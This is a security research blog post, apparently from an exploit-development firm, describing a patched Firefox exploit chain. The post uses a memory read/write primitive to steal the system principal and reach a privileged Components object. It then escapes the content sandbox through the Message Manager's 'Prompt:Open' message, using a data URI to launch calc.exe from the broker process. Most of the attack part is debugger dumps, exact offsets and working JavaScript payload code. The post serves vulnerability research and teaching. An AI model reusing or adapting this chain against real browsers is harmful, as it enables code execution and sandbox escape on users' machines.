By Arthur Gerkis and David Barksdale
This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.
In the previous post we analyzed an integer underflow in part of Firefox’s WebAssembly code and used it to read and write memory in the sandboxed content process. In this post we will use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.
Here we will discuss a technique for executing privileged JavaScript by making use of the ability to read and write memory. An overview of the script security architecture of Firefox can be found here. There is a JavaScript object specific only to Firefox-based browsers called Components. Normal content pages run with the content principal and have a limited version of this object. Pages with the system principal have full access to the object and can use it to access native XPCOM objects. The goal is to gain access to a privileged Components object using the following steps:
We first find the base address of xul.dll using an address of a TypedArray object we discovered previously. At offset 0xC into this object is a pointer into the xul.dll module. All modules are loaded on a 0x10000 byte boundary and contain the Portable Executable signature ‘MZ’ as the first 16-bit word. We simply start searching backwards in memory from our pointer into xul.dll on said boundary for the signature.
Once we’ve found xul.dll in memory we can parse its export tables to look for various symbols within the module. The first symbol we look for is nsLayoutModule_NSModule. This is a structure which contains a useful pointer, it is shown below.
0:033> ln xul + 0x1e25620 (55265620) xul!nsLayoutModule_NSModule | (55265624) xul!docshell_provider_NSModule Exact matches: xul!nsLayoutModule_NSModule = 0x557f3b58 0:033> dt xul!nsLayoutModule_NSModule 0x557f3b58 +0x000 mVersion : 0x34 +0x004 mCIDs : 0x557f3270 mozilla::Module::CIDEntry +0x008 mContractIDs : 0x557f2650 mozilla::Module::ContractIDEntry +0x00c mCategoryEntries : 0x557f3008 mozilla::Module::CategoryEntry +0x010 getFactoryProc : (null) +0x014 loadProc : 0x539ef4f9 nsresult xul!Initialize+0 +0x018 unloadProc : 0x5358734f void xul!LayoutModuleDtor+0 +0x01c selector : 4 ( ALLOW_IN_GPU_PROCESS )
We follow the loadProc pointer to the function Initialize, which is shown below.
xul!Initialize [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\build\nslayoutmodule.cpp @ 353]: 539ef4f9 803d94179d5500 cmp byte ptr [xul!gInitialized (559d1794)],0 539ef500 0f85bdc73500 jne xul!Initialize+0x35c7ca (53d4bcc3) 539ef506 833dc01e9f5505 cmp dword ptr [xul!mozilla::startup::sChildProcessType (559f1ec0)],5 539ef50d 7420 je xul!Initialize+0x36 (539ef52f) 539ef50f 56 push esi 539ef510 c60594179d5501 mov byte ptr [xul!gInitialized (559d1794)],1 539ef517 e80613f6ff call xul!nsXPConnect::InitStatics (53950822) 539ef51c e811000000 call xul!nsLayoutStatics::Initialize (539ef532)
We disassemble this function and follow the call to nsXPConnect::InitStatics, which is shown below.
xul!operator new [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109] [inlined in xul!nsXPConnect::InitStatics [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109]]: 53950822 6a10 push 10h 53950824 ff15cc432655 call dword ptr [xul!_imp__moz_xmalloc (552643cc)] 5395082a 59 pop ecx 5395082b 85c0 test eax,eax 5395082d 0f84d8b43c00 je xul!nsXPConnect::InitStatics+0x3cb4e9 (53d1bd0b) 53950833 8bc8 mov ecx,eax 53950835 e824180000 call xul!nsXPConnect::nsXPConnect (5395205e) 5395083a 83780800 cmp dword ptr [eax+8],0 5395083e 56 push esi 5395083f a33cd79c55 mov dword ptr [xul!nsXPConnect::gSelf (559cd73c)],eax 53950844 be18dd4055 mov esi,offset xul!`string' (5540dd18) 53950849 0f84c3b43c00 je xul!nsXPConnect::InitStatics+0x3cb4f0 (53d1bd12) 5395084f 50 push eax 53950850 e87531b5ff call xul!mozilla::widget::myDownloadObserver::AddRef (534a39ca) 53950855 e8b26af0ff call xul!nsScriptSecurityManager::InitStatics (5385730c) 5395085a a1645c9d55 mov eax,dword ptr [xul!gScriptSecMan (559d5c64)] 5395085f 6810d79c55 push offset xul!nsXPConnect::gSystemPrincipal (559cd710) 53950864 50 push eax 53950865 a340d79c55 mov dword ptr [xul!nsXPConnect::gScriptSecurityManager (559cd740)],eax 5395086a 8b08 mov ecx,dword ptr [eax] 5395086c ff5124 call dword ptr [ecx+24h] 5395086f 833d10d79c5500 cmp dword ptr [xul!nsXPConnect::gSystemPrincipal (559cd710)],0
We disassemble this function and find the address of nsXPConnect::gSystemPrincipal, the keys to Dad’s car.
The compartment principal we want to override can be found using an iframe we previously sprayed onto the heap. To find the location of the principal we start with the JSObject containing the iframe and follow the path of pointers until we find the relevant JSCompartment object, as shown below.
0:033> ddp 067bbc40 L14/4 067bbc40 0df34a48 5596b084 xul!mozilla::dom::HTMLIFrameElementBinding::sClass 067bbc44 0df48bf8 0df352c8 067bbc48 00000000 067bbc4c 552701c8 55529c74 xul!js_Object_str 067bbc50 0dde6780 5535b7b0 xul!mozilla::dom::HTMLIFrameElement::`vftable' 0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement +0x000 __VFN_table : 0x5535b7b0 +0x004 __VFN_table : 0x55271f84 +0x008 mWrapper : 0x067bbc40 JSObject +0x00c mFlags : 0x100004 +0x010 mNodeInfo : RefPtr<mozilla::dom::NodeInfo> +0x014 mParent : 0x11872ce0 nsINode +0x018 mBoolFlags : 0x2000e [skip] 0:033> dd 0x067bbc40 L1 067bbc40 0df34a48 0:033> dt 0df34a48 js::ObjectGroup xul!js::ObjectGroup +0x000 clasp_ : 0x5596b084 js::Class +0x004 proto_ : js::GCPtr<js::TaggedProto> +0x008 compartment_ : 0x1183ac00 JSCompartment +0x00c flags_ : 0 +0x010 addendum_ : (null) +0x014 propertySet : (null) 0:033> dt 0x1183ac00 JSCompartment xul!JSCompartment +0x000 creationOptions_ : JS::CompartmentCreationOptions +0x014 behaviors_ : JS::CompartmentBehaviors +0x024 zone_ : 0x06b46800 JS::Zone +0x028 runtime_ : 0x04b86108 JSRuntime +0x02c principals_ : 0x04b8e444 JSPrincipals +0x030 isSystem_ : 0 [skip]
We write the value of the previously found system principal to offset 0x2C into this JSCompartment object.
Loading a privileged page into our iframe requires overriding the mOwnerManager principal of the iframe. This is found via similar path of pointers starting from the HTMLIFrameElement object found above.
0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement +0x000 __VFN_table : 0x5535b7b0 +0x004 __VFN_table : 0x55271f84 +0x008 mWrapper : 0x067bbc40 JSObject +0x00c mFlags : 0x100004 +0x010 mNodeInfo : RefPtr<mozilla::dom::NodeInfo> +0x014 mParent : 0x11872ce0 nsINode +0x018 mBoolFlags : 0x2000e [skip] 0:033> dd 0dde6780 0dde6780 5535b7b0 55271f84 067bbc40 00100004 0dde6790 118c5100 11872ce0 0002000e 00000000 0dde67a0 06cd59c0 00000000 118fc800 0cb0f940 0dde67b0 00000014 04bd2f00 00020000 00000400 0dde67c0 5535b5bc e5e5e5e5 5535b59c 5535b590 0dde67d0 00000000 559e3364 5535b558 0cb0f820 0dde67e0 00000000 00000000 e5e5e500 e5e5e5e5 0dde67f0 5535b4e8 e5e5e5e5 e5e5e5e5 e5e5e5e5 0:033> dt 0x118c5100 mozilla::dom::NodeInfo xul!mozilla::dom::NodeInfo +0x000 mRefCnt : nsCycleCollectingAutoRefCnt =5597ee68 _cycleCollectorGlobal : mozilla::dom::NodeInfo::cycleCollection +0x004 mDocument : 0x1154a800 nsIDocument +0x008 mInner : mozilla::dom::NodeInfo::NodeInfoInner +0x020 mOwnerManager : RefPtr<nsNodeInfoManager> +0x024 mQualifiedName : nsString +0x030 mNodeName : nsString +0x03c mLocalName : nsString 0:033> dd 0x118c5100 118c5100 00000004 1154a800 062c6160 00000000 118c5110 00000003 e5e50001 00000000 00000000 118c5120 06cc0130 5599a914 00000006 00000005 118c5130 118c6088 00000006 00000005 5599a914 118c5140 00000006 00000005 e5e5e5e5 e5e5e5e5 118c5150 0dc91550 00000000 00000000 00000000 118c5160 00000000 00000000 00000000 00000000 118c5170 00000000 00000000 00000000 00000000 0:033> dt 06cc0130 nsNodeInfoManager xul!nsNodeInfoManager =5597efc0 _cycleCollectorGlobal : nsNodeInfoManager::cycleCollection +0x000 mRefCnt : nsCycleCollectingAutoRefCnt +0x004 mNodeInfoHash : 0x0db8d780 PLHashTable +0x008 mDocument : 0x1154a800 nsIDocument +0x00c mNonDocumentNodeInfos : 0x12 +0x010 mPrincipal : nsCOMPtr<nsIPrincipal> +0x014 mDefaultPrincipal : nsCOMPtr<nsIPrincipal> +0x018 mTextNodeInfo : 0x11872ab0 mozilla::dom::NodeInfo +0x01c mCommentNodeInfo : (null) +0x020 mDocumentNodeInfo : 0x11872600 mozilla::dom::NodeInfo +0x024 mBindingManager : RefPtr<nsBindingManager> [skip]
We then write the value of the previously found system principal to offset 0x10 into this nsNodeInfoManager object.
Now we can load the privileged page about:newtab into our iframe and access the Components object with the JavaScript below.
iframe.src = 'about:newtab'; iframe.onload = function() { privilegedWindow = iframe.contentWindow; // Components object accessible via privilegedWindow.Components };
Here we describe a technique to execute privileged JavaScript in the broker process via Inter-process Communication from the content process. This technique was patched by a change intended to mitigate prompt spoofing by introducing a new type of prompt displayed by the broker process.
The content and broker processes communicate with each other via inter-process communication. While this is implemented and used by the C/C++ code, for Firefox there is an additional communication channel which is used by privileged JavaScript. It’s called the Message Manager and is responsible for passing messages between various windows.
The Message Manager was introduced long before the introduction of the sandbox, but the main goal was to support the legacy methods of interaction between the chrome and content while moving from single to multiple process architecture.
One such interaction is called RemotePrompt, shown below.
var RemotePrompt = { init: function() { let mm = Cc["@mozilla.org/globalmessagemanager;1"].getService(Ci.nsIMessageListenerManager); mm.addMessageListener("Prompt:Open", this); }, receiveMessage: function(message) { switch (message.name) { case "Prompt:Open": if (message.data.uri) { this.openModalWindow(message.data, message.target); } else { this.openTabPrompt(message.data, message.target) } break; } }, [skip] openModalWindow: function(args, browser) { let window = browser.ownerGlobal; try { PromptUtils.fireDialogEvent(window, "DOMWillOpenModalDialog", browser); let bag = PromptUtils.objectToPropBag(args); Services.ww.openWindow(window, args.uri, "_blank", "centerscreen,chrome,modal,titlebar", bag); PromptUtils.propBagToObject(bag, args); } finally { PromptUtils.fireDialogEvent(window, "DOMModalDialogClosed", browser); browser.messageManager.sendAsyncMessage("Prompt:Close", args); } }
The function receiveMessage() receives all incoming messages and handles only ones with the name Prompt:Open, and depending on the presence of the uri argument decides where to pass execution. If the argument is present, the function openModalWindow() will execute and create a new window in the broker process with the URI provided in the arguments. The newly created window has the system principal. By passing a data URI as the argument, arbitrary JavaScript code will be loaded and executed in the broker process.
Below is an example of this technique that will launch calc.exe from the broker process.
function executePayload(privilegedWindow) { var payload = []; // This is something to execute within privileged JavaScript. For example, // in current case a calc.exe is executed with Medium Integrity Level. payload.push('var { interfaces: Ci, utils: Cu, classes: Cc } = Components;'); payload.push('localFile = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);'); payload.push('process = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);'); payload.push('args = [];'); payload.push('localFile.initWithPath("C:\\\\WINDOWS\\\\system32\\\\calc.exe");'); payload.push('process.init(localFile);'); payload.push('process.run(false, args, args.length);'); // This will get a ContentFrameMessageManager var cfmm = privilegedWindow.QueryInterface(Ci.nsIInterfaceRequestor). getInterface(Ci.nsIDocShell). QueryInterface(Ci.nsIInterfaceRequestor). getInterface(Ci.nsIContentFrameMessageManager); // This sends a message through the message manager to the broker process cfmm.sendAsyncMessage('Prompt:Open', { uri: 'data:text/html,<script>' + payload.join('') + '; close();</script>' }); }
The entire exploit chain is demonstrated in the video below.